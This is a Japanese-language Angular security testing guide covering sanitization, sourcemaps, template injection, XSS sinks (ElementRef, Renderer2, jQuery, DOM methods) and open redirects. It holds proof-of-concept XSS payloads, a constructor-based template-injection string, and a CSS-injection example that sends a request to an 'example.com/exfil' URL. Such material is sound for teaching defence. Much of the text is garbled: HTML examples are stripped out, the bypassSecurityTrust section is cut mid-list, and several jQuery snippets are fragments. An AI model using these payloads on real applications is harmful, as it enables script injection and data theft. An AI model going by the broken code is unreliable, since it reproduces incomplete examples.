# Angular ## チェックリスト チェックリスト [こちらから](https://lsgeurope.com/post/angular-security-checklist)。 * [ ] Angularはクライアントサイドのフレームワークと見なされ、サーバーサイドの保護を提供することは期待されていません * [ ] スクリプトのソースマップはプロジェクト設定で無効になっています * [ ] 信頼できないユーザー入力は常にテンプレートで使用される前に補間またはサニタイズされます * [ ] ユーザーはサーバーサイドまたはクライアントサイドのテンプレートを制御できません * [ ] 信頼できないユーザー入力は、アプリケーションによって信頼される前に適切なセキュリティコンテキストを使用してサニタイズされます * [ ] `BypassSecurity*` メソッドは信頼できない入力と共に使用されません * [ ] 信頼できないユーザー入力は、`ElementRef`、`Renderer2`、`Document`などのAngularクラスや他のJQuery/DOMシンクに渡されません ## Angularとは Angularは**強力**で**オープンソース**のフロントエンドフレームワークで、**Google**によって維持されています。**TypeScript**を使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、Angularは**XSS**や**オープンリダイレクト**などの一般的なクライアントサイドの脆弱性を防ぎます。また、**サーバーサイド**でも使用できるため、**両方の視点**からのセキュリティ考慮が重要です。 ## フレームワークアーキテクチャ Angularの基本をよりよく理解するために、その基本的な概念を見ていきましょう。 一般的なAngularプロジェクトは通常次のようになります: ```bash my-workspace/ ├── ... #workspace-wide configuration files ├── src │ ├── app │ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application │ │ ├── app.component.ts #defines the logic for the application's root component │ │ ├── app.component.html #defines the HTML template associated with the root component │ │ ├── app.component.css #defines the base CSS stylesheet for the root component │ │ ├── app.component.spec.ts #defines a unit test for the root component │ │ └── app-routing.module.ts #provides routing capability for the application │ ├── lib │ │ └── src #library-specific configuration files │ ├── index.html #main HTML page, where the component will be rendered in │ └── ... #application-specific configuration files ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` ドキュメントによると、すべてのAngularアプリケーションには、コンポーネント階層をDOMに接続するルートコンポーネント(`AppComponent`)が少なくとも1つあります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、ターゲット環境に表示されるビューを定義するHTMLテンプレートに関連付けられています。`@Component()`デコレーターは、その直下のクラスをコンポーネントとして識別し、テンプレートおよび関連するコンポーネント固有のメタデータを提供します。`AppComponent`は`app.component.ts`ファイルで定義されています。 Angular NgModulesは、アプリケーションドメイン、ワークフロー、または密接に関連する機能セットに専念したコンポーネントのセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常`AppModule`と呼ばれるルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションには通常、多くの機能モジュールが含まれています。`AppModule`は`app.module.ts`ファイルで定義されています。 Angular `Router` NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間でナビゲーションパスを定義できるサービスを提供します。`RouterModule`は`app-routing.module.ts`ファイルで定義されています。 特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、`@Injectable()`デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーを依存関係としてクラスに注入できるようにするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。これらはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。 ## Sourcemap configuration Angularフレームワークは、`tsconfig.json`オプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後`angular.json`構成でプロジェクトをビルドします。`angular.json`ファイルを見てみると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。 ```json "sourceMap": { "scripts": true, "styles": true, "vendor": false, "hidden": false } ``` 一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効になっている場合、レビュアーはアンチセキュリティパターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。 さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sources(または Debugger and Sources) → \[id].main.js で見つけることができます。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のためにsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、`ng build --source-map`のように。 ## データバインディング バインディングは、コンポーネントとその対応するビュー間の通信プロセスを指します。これは、Angularフレームワークにデータを送受信するために使用されます。データは、イベント、補間、プロパティ、または双方向バインディングメカニズムを通じて渡すことができます。さらに、データは関連するコンポーネント(親子関係)間や、サービス機能を使用して無関係な2つのコンポーネント間でも共有できます。 バインディングはデータフローによって分類できます: * データソースからビューターゲットへ(_interpolation_、_properties_、_attributes_、_classes_、_styles_を含む);テンプレートで `[]` または `{{}}` を使用して適用できます; * ビューターゲットからデータソースへ(_events_を含む);テンプレートで `()` を使用して適用できます; * 双方向;テンプレートで `[()]` を使用して適用できます。 バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意のパブリックメンバーに対して呼び出すことができます: | タイプ | ターゲット | 例 | | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- | | プロパティ | 要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ | \ | | イベント | 要素イベント、コンポーネントイベント、ディレクティブイベント | \保存 | | 双方向 | イベントとプロパティ | \ | | 属性 | 属性(例外) | \help | | クラス | クラスプロパティ | \特別 | | スタイル | スタイルプロパティ | \ | ## Angularセキュリティモデル Angularの設計には、すべてのデータのエンコーディングまたはサニタイズがデフォルトで含まれており、AngularプロジェクトにおけるXSS脆弱性の発見と悪用がますます困難になっています。データ処理には2つの異なるシナリオがあります: 1. 補間または `{{user_input}}` - コンテキストに応じたエンコーディングを行い、ユーザー入力をテキストとして解釈します; ```jsx //app.component.ts test = "test"; //app.component.html {{test}} ``` 結果: `<script>alert(1)</script><h1>test</h1>` 2. プロパティ、属性、クラス、スタイルへのバインディングまたは `[attribute]="user_input"` - 提供されたセキュリティコンテキストに基づいてサニタイズを行います。 ```jsx //app.component.ts test = "test"; //app.component.html ``` 結果: `test` `SecurityContext`には6種類があります: * `None`; * `HTML`は、値をHTMLとして解釈する際に使用されます; * `STYLE`は、CSSを`style`プロパティにバインディングする際に使用されます; * `URL`は、``のようなURLプロパティに使用されます; * `SCRIPT`は、JavaScriptコードに使用されます; * `RESOURCE_URL`は、コードとして読み込まれ実行されるURLで、例えば` //結果 - ``` 5. `bypassSecurityTrustStyle`は、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています: ```jsx //app.component.ts this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)'); //app.component.html //結果 リクエストURL: GET example.com/exfil/a ``` Angularは、ビューに表示する前にデータをサニタイズするための`sanitize`メソッドを提供しています。このメソッドは提供されたセキュリティコンテキストを使用し、入力を適切に浄化します。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに`SecurityContext.URL`を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。 ### HTMLインジェクション この脆弱性は、ユーザー入力が`innerHTML`、`outerHTML`、または`iframe` `srcdoc`のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は`SecurityContext.HTML`を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。 `innerHTML`を使用した例: ```jsx //app.component.ts import { Component} from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html' }) export class AppComponent{ //define a variable with user input test = "test"; } //app.component.html ``` test ### テンプレートインジェクション #### クライアントサイドレンダリング (CSR) Angularは、ページを動的に構築するためにテンプレートを利用します。このアプローチは、Angularが評価するためのテンプレート式を二重波括弧(`{{}}`)で囲むことを含みます。このようにして、フレームワークは追加の機能を提供します。例えば、`{{1+1}}`というテンプレートは2として表示されます。 通常、Angularはテンプレート式と混同される可能性のあるユーザー入力(例:\`< > ' " \`\`のような文字)をエスケープします。これは、ブラックリストに載っている文字を使用しないためにJavaScript文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。しかし、これを達成するためには、Angularのコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように見えるかもしれません: ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @Component({ selector: 'app-root', template: 'title' + _userInput }) ``` 上記のように、`constructor`はObject `constructor`プロパティのスコープを指し、Stringコンストラクタを呼び出して任意のコードを実行することを可能にします。 #### サーバーサイドレンダリング (SSR) CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはSSRのセキュリティを強化するためにCSRで使用されるのと同じサニタイズメカニズムを適用します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。 もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する際に、新しいテンプレートインジェクションの脆弱性が導入される可能性もあります。 ### XSS #### DOMインターフェース 前述のように、_Document_インターフェースを使用してDOMに直接アクセスできます。ユーザー入力が事前に検証されていない場合、クロスサイトスクリプティング (XSS) の脆弱性につながる可能性があります。 以下の例では、`document.write()`および`document.createElement()`メソッドを使用しました: ```jsx //app.component.ts 1 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { document.open(); document.write(""); document.close(); } } //app.component.ts 2 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { var d = document.createElement('script'); var y = document.createTextNode("alert(1)"); d.appendChild(y); document.body.appendChild(d); } } //app.component.ts 3 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { var a = document.createElement('img'); a.src='1'; a.setAttribute('onerror','alert(1)'); document.body.appendChild(a); } } ``` #### Angularクラス AngularでDOM要素を操作するために使用できるクラスがいくつかあります:`ElementRef`、`Renderer2`、`Location`、および`Document`。最後の2つのクラスについての詳細な説明は、**Open redirects**セクションに記載されています。最初の2つの主な違いは、`Renderer2` APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、`ElementRef`は単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、`ElementRef` APIはDOMへの直接アクセスが必要な場合の最後の手段としてのみ使用されるべきです。 * `ElementRef`には、DOM要素を操作するために使用できる`nativeElement`プロパティが含まれています。ただし、`nativeElement`の不適切な使用は、以下に示すようにXSSインジェクションの脆弱性を引き起こす可能性があります: ```tsx //app.component.ts import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { ... constructor(private elementRef: ElementRef) { const s = document.createElement('script'); s.type = 'text/javascript'; s.textContent = 'alert("Hello World")'; this.elementRef.nativeElement.appendChild(s); } } ``` * `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、これはXSS防止メカニズムを持っていません。 ```tsx //app.component.ts import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { public constructor ( private renderer2: Renderer2 ){} @ViewChild("img") img!: ElementRef; addAttribute(){ this.renderer2.setAttribute(this.img.nativeElement, 'src', '1'); this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)'); } } //app.component.html Click me! ``` * DOM要素のプロパティを設定するには、`Renderer2.setProperty()`メソッドを使用してXSS攻撃を引き起こすことができます: ```tsx //app.component.ts import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { public constructor ( private renderer2: Renderer2 ){} @ViewChild("img") img!: ElementRef; setProperty(){ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', ''); } } //app.component.html Click me! ``` 私たちの研究中に、`setStyle()`、`createComment()`、および`setValue()`などの他の`Renderer2`メソッドのXSSおよびCSSインジェクションに関する動作も調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。 #### jQuery jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小型かつ機能豊富なJavaScriptライブラリです。しかし、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があることは知られています。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。 * `html()`メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、`"); }); } } //app.component.html Click me some text here ``` * `jQuery.parseHTML()`メソッドは、文字列をDOMノードのセットに変換するためにネイティブメソッドを使用し、それを文書に挿入することができます。 ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` 前述のように、HTML文字列を受け入れるほとんどのjQuery APIは、HTMLに含まれるスクリプトを実行します。`jQuery.parseHTML()`メソッドは、`keepScripts`が明示的に`true`でない限り、解析されたHTML内のスクリプトを実行しません。しかし、ほとんどの環境では、``属性を介してスクリプトを間接的に実行することが可能です。 ```tsx //app.component.ts import { Component, OnInit } from '@angular/core'; import * as $ from 'jquery'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { ngOnInit() { $("button").on("click", function() { var $palias = $("#palias"), str = "", html = $.parseHTML(str), nodeNames = []; $palias.append(html); }); } } //app.component.html Click me some text ``` ### Open redirects #### DOMインターフェース W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。したがって、これらは一部のメソッドやプロパティの実装が似ており、これが`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSを引き起こす可能性があります。 * `window.location.href`(および`document.location.href`) 現在のDOMロケーションオブジェクトを取得するための標準的な方法は、`window.location`を使用することです。また、これを使用してブラウザを新しいページにリダイレクトすることもできます。その結果、このオブジェクトを制御することで、オープンリダイレクトの脆弱性を悪用することができます。 ```tsx //app.component.ts ... export class AppComponent { goToUrl(): void { window.location.href = "https://google.com/about" } } //app.component.html Click me! ``` 以下のシナリオに対する悪用プロセスは同じです。 * `window.location.assign()`(および`document.location.assign()`) このメソッドは、指定されたURLのドキュメントを読み込み、表示するためにウィンドウを原因します。このメソッドを制御できる場合、オープンリダイレクト攻撃のためのシンクになる可能性があります。 ```tsx //app.component.ts ... export class AppComponent { goToUrl(): void { window.location.assign("https://google.com/about") } } ``` * `window.location.replace()`(および`document.location.replace()`) このメソッドは、現在のリソースを提供されたURLのものに置き換えます。 これは、`assign()`メソッドとは異なり、`window.location.replace()`を使用した後、現在のページはセッション履歴に保存されません。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。 ```tsx //app.component.ts ... export class AppComponent { goToUrl(): void { window.location.replace("http://google.com/about") } } ``` * `window.open()` `window.open()`メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御することで、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会もあります。 ```tsx //app.component.ts ... export class AppComponent { goToUrl(): void { window.open("https://google.com/about", "_blank") } } ``` #### Angularクラス * Angularのドキュメントによれば、Angularの`Document`はDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。`Document.location`プロパティおよびメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります: ```tsx //app.component.ts import { Component, Inject } from '@angular/core'; import { DOCUMENT } from '@angular/common'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { constructor(@Inject(DOCUMENT) private document: Document) { } goToUrl(): void { this.document.location.href = 'https://google.com/about'; } } //app.component.html Click me! ``` * 研究段階では、オープンリダイレクトの脆弱性についてAngularの`Location`クラスもレビューしましたが、有効なベクターは見つかりませんでした。`Location`は、アプリケーションがブラウザの現在のURLと対話するために使用できるAngularサービスです。このサービスには、与えられたURLを操作するためのいくつかのメソッドがあります - `go()`、`replaceState()`、および`prepareExternalUrl()`。ただし、外部ドメインへのリダイレクトには使用できません。例えば: ```tsx //app.component.ts import { Component, Inject } from '@angular/core'; import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'], providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}], }) export class AppComponent { location: Location; constructor(location: Location) { this.location = location; } goToUrl(): void { console.log(this.location.go("http://google.com/about")); } } ``` 結果:`http://localhost:4200/http://google.com/about` * Angularの`Router`クラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入することはありません: ```jsx //app-routing.module.ts const routes: Routes = [ { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }] ``` 結果:`http://localhost:4200/https:` 以下のメソッドもドメインの範囲内でナビゲートします: ```jsx const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ] this.router.navigate(['PATH']) this.router.navigateByUrl('URL') ``` ## 参考文献 * [Angular](https://angular.io/) * [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1) * [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2) * [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3) * [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist) * [Workspace and project file structure](https://angular.io/guide/file-structure) * [Introduction to components and templates](https://angular.io/guide/architecture-components) * [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration) * [Binding syntax](https://angular.io/guide/binding-syntax) * [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48) * [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts) * [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) * [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) * [Angular Universal](https://angular.io/guide/universal) * [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss) * [Angular ElementRef](https://angular.io/api/core/ElementRef) * [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) * [jQuery API Documentation](http://api.jquery.com/) * [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) * [Angular Document](https://angular.io/api/common/DOCUMENT) * [Angular Location](https://angular.io/api/common/Location) * [Angular Router](https://angular.io/api/router/Router)
some text here
some text